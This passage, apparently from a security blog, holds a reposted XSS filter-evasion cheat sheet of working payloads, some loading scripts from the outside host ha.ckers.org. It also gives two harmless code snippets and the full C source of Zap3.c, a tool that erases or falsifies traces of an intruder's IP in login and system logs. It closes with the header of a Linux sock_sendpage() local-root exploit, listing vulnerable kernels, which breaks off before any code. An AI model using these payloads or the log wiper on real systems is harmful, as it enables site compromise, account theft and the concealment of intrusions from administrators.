 73.	onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
 74.	onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
 75.	onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
 76.	onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
 77.	onRowsEnter() (user or attacker would need to change a row in a data source)
 78.	onRowExit() (user or attacker would need to change a row in a data source)
 79.	onRowDelete() (user or attacker would need to delete a row in a data source)
 80.	onRowInserted() (user or attacker would need to insert a row in a data source)
 81.	onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
 82.	onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
 83.	onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
 84.	onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
 85.	onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
 86.	onStart() (fires at the beginning of each marquee loop)
 87.	onStop() (user would need to press the stop button or leave the webpage)
 88.	onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
 89.	onSubmit() (requires attacker or user submits a form)
 90.	onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
 91.	onTrackChange() (user or attacker changes track in a playList)
 92.	onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
 93.	onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
 94.	seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point.   The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

BGSOUND

<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript includes

<BR SIZE="&{alert('XSS')}">

STYLE sheet

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

Remote style sheet

(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

Remote style sheet part 2

This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

Remote style sheet part 3

This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

Remote style sheet part 4

This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:

<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

STYLE tags with broken up JavaScript for XSS

This XSS at times sends IE into an infinite loop of alerts:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE attribute using a comment to break up expression

Created by Roman Ivanov

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

IMG STYLE with expression

This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE tag (Older versions of Netscape only)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

STYLE tag using background-image

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

STYLE tag using background

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

Anonymous HTML with STYLE attribute

IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:

<XSS STYLE="xss:expression(alert('XSS'))">

Local htc file

This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

<XSS STYLE="behavior: url(xss.htc);">

US-ASCII encoding

US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

¼script¾alert(¢XSS¢)¼/script¾

META

The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data

Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

META with additional URL parameter

If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

IFRAME

If iframes are allowed there are a lot of other XSS problems as well:

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME Event based

IFrames and most other elements can use event based mayhem like the following... (Submitted by: David Cross)

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME

Frames have the same sorts of XSS problems as iframes

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


TABLE

<TABLE BACKGROUND="javascript:alert('XSS')">

TD

Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV

DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

DIV background-image with unicoded XSS exploit

This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

DIV background-image plus extra characters

Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

DIV expression

A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

<DIV STYLE="width: expression(alert('XSS'));">

Downlevel-Hidden block

Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

<!--[if gte IE 4]>
 <SCRIPT>alert('XSS');</SCRIPT>
 <![endif]-->

BASE tag

Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

<BASE HREF="javascript:alert('XSS');//">

OBJECT tag

If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

 <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

Using an EMBED tag you can embed a Flash movie that contains XSS

Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>

You can EMBED SVG which can contain your XSS vector

This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

Using ActionScript inside flash can obfuscate your XSS vector

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);

XML data island with CDATA obfuscation

This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

Locally hosted XML with embedded JavaScript that is generated using an XML data island

This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

HTML+TIME in XML

This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>


Assuming you can only fit in a few characters and it filters against ".js"

you can rename your JavaScript file to an image as an XSS vector:

<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>


SSI (Server Side Includes)

This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->


PHP

Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>


IMG Embedded commands

This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">


IMG Embedded commands part II

This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser


Cookie manipulation

Admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7 encoding

If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

XSS using HTML quote encapsulation

This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

URL string evasion

Assuming "http://www.google.com/" is pro grammatically disallowed:

IP verses hostname

<A HREF="http://66.102.7.147/">XSS</A>

URL encoding

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

Dword encoding

(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):

<A HREF="http://1113982867/">XSS</A>

Hex encoding

The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

Octal encoding

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

Mixed encoding

Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

<A HREF="h
tt	p://6	6.000146.0x7.147/">XSS</A>

=== Protocol resolution bypass === (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

<A HREF="//www.google.com/">XSS</A>

Google "feeling lucky" part 1.

Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.

<A HREF="//google">XSS</A>

Google "feeling lucky" part 2.

This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:

<A HREF="http://ha.ckers.org@google">XSS</A>

Google "feeling lucky" part 3.

This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

<A HREF="http://google:ha.ckers.org">XSS</A>

Removing cnames

When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

<A HREF="http://google.com/">XSS</A>

Extra dot for absolute DNS:

<A HREF="http://www.google.com./">XSS</A>

JavaScript link location:

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

Content replace as attack vector

Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x09;script:" was converted into "java script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):

<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

Character Encoding

All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

Character Encoding and IP Obfuscation Calculators

This following links include calculators for doing basic transformation functions that are useful for XSS.

Posted by k1rha
2012. 12. 22. 00:59

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 12. 21. 20:22

[python 2.7] telnetlib를 이용한 telnet 접속하기
http://docs.python.org/2/library/telnetlib.html
#!/usr/bin/env python
import getpass
import sys
import telnetlib

HOST = "localhost"
user = raw_input("Enter your remote account: ")
password = getpass.getpass()

tn = telnetlib.Telnet(HOST)

tn.read_until("login: ")
tn.write(user + "\n")
if password:
    tn.read_until("Password: ")
    tn.write(password + "\n")

tn.write("ls\n")
tn.write("exit\n")

print tn.read_all()

Posted by k1rha
2012. 12. 20. 02:48



[C] 덤프 메모리를 가져오는  dumpcode.h

01.void printchar(unsigned char c)
02.{
03.if(isprint(c))
04.printf("%c",c);
05.else
06.printf(".");
07.}
08.void dumpcode(unsigned char *buff, int len)
09.{
10.int i;
11. 
12.for(i=0; i<len; i++)
13.{
14.if(i%16==0)
15.printf("0x%08x  ",&buff[i]);
16.printf("%02x ",buff[i]);
17.if(i%16-15==0)
18.{
19.int j;
20.printf("  ");
21.for(j=i-15;j<=i;j++)
22.printchar(buff[j]);
23.printf("\n");
24.}
25.}
26.if(i%16!=0)
27.{
28.int j;
29.int spaces=(len-i+16-i%16)*3+2;
30. 
31.for(j=0;j<spaces;j++)
32.printf(" ");
33.for(j=i-i%16;j<len;j++)
34.printchar(buff[j]);
35.}
36.printf("\n");
37.}


Posted by k1rha
2012. 12. 20. 00:02

Zap3.c 로그지우는 프로그램


/*########################################################################
*#### Zap3.c cleans WTMP, UTMP, lastlog, messages, secure, ##############
*#### xferlog, httpd.access_log, httpd.error_log. ##############
*#### Check your log file and edit the source accordingly. ##############
#### Tested in Mandrake 7.2 and 8.0 ##############
*#########################################################################
*#### This program is for educational purposes only ##############
*#### I'm not responsible any damages of this program ##############
*#### Use it with your own risk ##############
*#########################################################################
*#### I change the user based cleaning method ##############
*#### to host based method. Also zap2.c cleans ##############
*#### last entry of wtmp file,i change ##############
*#### this to clean all entries. ##############
*#########################################################################

Copyright (c) darkloop . All rights reserved.
This software is licensed pursuant to the GNU General Public License
version 2 or later versions [or GNU Lesser General Public License],
a copy of which may be viewed at www.gnu.org/copyleft/gpl.html.

*#########################################################################
*#### Please inform me about your comments. ##############
*#### I'm new to c programmin so feel free to flame :) ##############
*#### dark_loop@linuxmail.org ##############
*#### www.solitude2000.f2s.com ##############
*#### 15.10.2001 ##############
*#########################################################################





*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <string.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
#define MESSAGES "/var/log/messages"
#define SECURE "/var/log/secure"
#define SYSLOG "/var/log/syslog"
#define XFERLOG "/var/log/xferlog"
#define AUTH "/var/log/auth.log"
#define HTTPDA "/var/log/httpd/access_log"
#define HTTPDE "/var/log/httpd/error_log"
#define MAX 1024*5120
#define MIN 1024
void clean_logs(char *host,char *fake);
void clean_utmp(char *host,char *fake);
void clean_wtmp(char *host,char *fake);
void clean_lastlog(char *host,char *fake);
int pos(char *source,char *pattern);
void str_replace(char *source,char *pattern,char *replace);

main(int argc,char **argv)
{
time_t t1,t2;
if (argc<2) {
printf("missing argument\n");
printf("usage :./zap <ip>\n");
exit(1);
} else {
time(&t1);
clean_utmp(argv[1],argv[2]);
clean_wtmp(argv[1],argv[2]);
clean_lastlog(argv[1],argv[2]);
clean_logs(argv[1],argv[2]);
time(&t2);
printf("the process time is %d ms\n",t2-t1);
}
}

void clean_utmp(char *host,char *fake)
{
int f;
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))<0) {
perror("open");
close(f);
}
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
if(fake) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
}else {
memset(&utmp_ent,0,sizeof( utmp_ent ));
}
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
printf("\tcleaning utmp file finished\n\t");

}

void clean_wtmp(char *host,char *fake)
{
struct utmp utmp_ent;
int f;
if ((f=open(WTMP_NAME,O_RDWR))<0) {
perror("open");
close(f);
}
while(read (f, &utmp_ent, sizeof (struct utmp))>0) {
if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
if(fake) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
}else {
memset(&utmp_ent,0,sizeof(struct utmp ));
}
lseek(f,-(sizeof(struct utmp)),SEEK_CUR);
write (f, &utmp_ent, sizeof( utmp_ent ));
}
}
close(f);
printf("cleaning wtmp finished\n\t");
}
void clean_lastlog(char *host,char *fake)
{
int f;
struct lastlog newll;
if ((f=open(LASTLOG_NAME, O_RDWR)) < 0) {
perror("open");
close(f);
} else {
while(read(f,&newll,sizeof(struct lastlog)) > 0 ) {
if(!strncmp(newll.ll_host,host,strlen(host))) {
if(fake) {
memcpy(newll.ll_host,fake,sizeof(newll.ll_host));
}else {
memset(&newll,0,sizeof( newll ));
}
lseek(f, -( sizeof (struct lastlog)),SEEK_CUR);
write(f,&newll, sizeof( newll ));
}
}
close(f);
}
printf("cleaning lastlog finished\n\t");
}
void clean_logs(char *host,char *fake)
{
int i;
char buffer[MIN],buff[MAX];
FILE *fin,*fout;
char *logs[] = {MESSAGES, SECURE,SYSLOG, XFERLOG, AUTH, HTTPDA, HTTPDE} ;
char *modlogs[] = {"modMESSAGES", "modSECURE","modSYSLOG", "modXFERLOG",
"modAUTH","modHTTPDA","modHTTPDE"} ;

i=0;
while(i<7) {
printf("cleaning %s\n\t",logs[i]);
strcpy(buff,"");
if((fin=fopen(logs[i],"r"))==NULL
|| (fout=fopen(modlogs[i],"w"))==NULL) {
perror("fopen");
fclose(fin);
i++;
}

while(fgets(buffer,MIN,fin) !=NULL) {
if(fake) {
if (strstr(buffer,host) ) {
str_replace(buffer,host,fake);
fputs(buffer,fout);
}else
fputs(buffer,fout);
}else {
if(!strstr(buffer,host))
fputs(buffer,fout);
}
}
fclose(fin);
fclose(fout);
if((fout=fopen(logs[i],"w"))==NULL
|| (fin=fopen(modlogs[i],"r"))==NULL) {
perror("fopen");
fclose(fout);
}
while((fgets(buffer,MAX,fin)) !=NULL) {
fputs(buffer,fout);
}
fclose(fin);
fclose(fout);
unlink(modlogs[i]);
i++;
}
printf("cleaning logs file finished\n\t");
}
void str_replace(char *source,char *pattern,char *replace)
{
char buffer[MIN];
char part[MIN];
int n;
while((n=pos(source,pattern))>=0) {
strcpy(buffer,&source[n+strlen(pattern)]);
strcpy(&source[n],replace);
strncpy(part,source,n+strlen(replace));
part[n+strlen(replace)]='\0';
strcat(part,buffer);
strcpy(source,part);
n=pos(source,pattern);
}
}
int pos(char *source,char *pattern)
{
char substring[MIN];
int i=0,found=0,position;
int pattern_len=strlen(pattern);
while(!found && i<= strlen(source) - pattern_len) {
strncpy(substring,&source[i],pattern_len);
substring[pattern_len]='\0';
if(strcmp(substring,pattern)==0)
found=1;
else
++i;
}
if(found)
position=i;
else
position=-1;
return(position);
}

Posted by k1rha
2012. 12. 19. 23:31


Linux sock_sendpage() NULL Local Root Exploit

Kernel 2.6.x




/*

 *  Linux sock_sendpage() NULL pointer dereference
 *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */
 
/*
 * This exploit was written to illustrate the exploitability of this
 * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
 * and ppc64.
 *
 * This exploit makes use of the SELinux and the mmap_min_addr problem to
 * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
 * The problem, first noticed by Brad Spengler, was described by Red Hat in
 * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
 * the mmap_min_addr protection[2].
 *
 * Support for i386 and x86_64 was added for completeness. For a more complete
 * implementation, refer to Brad Spengler's exploit[3], which also implements
 * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
 *
 * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
 * are vulnerable.
 *
 * This exploit was tested on:
 *
 * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
 * CentOS 5.3 (2.6.18-128.4.1.el5)
 * CentOS 5.3 (2.6.18-128.2.1.el5)
 * CentOS 5.3 (2.6.18-128.1.16.el5)
 * CentOS 5.3 (2.6.18-128.1.14.el5)
 * CentOS 5.3 (2.6.18-128.1.10.el5)
 * CentOS 5.3 (2.6.18-128.1.6.el5)
 * CentOS 5.3 (2.6.18-128.1.1.el5)
 * CentOS 5.3 (2.6.18-128.el5)
 * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
 * CentOS 4.8 (2.6.9-89.0.7.EL)
 * CentOS 4.8 (2.6.9-89.0.3.EL)
 * CentOS 4.8 (2.6.9-89.EL)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
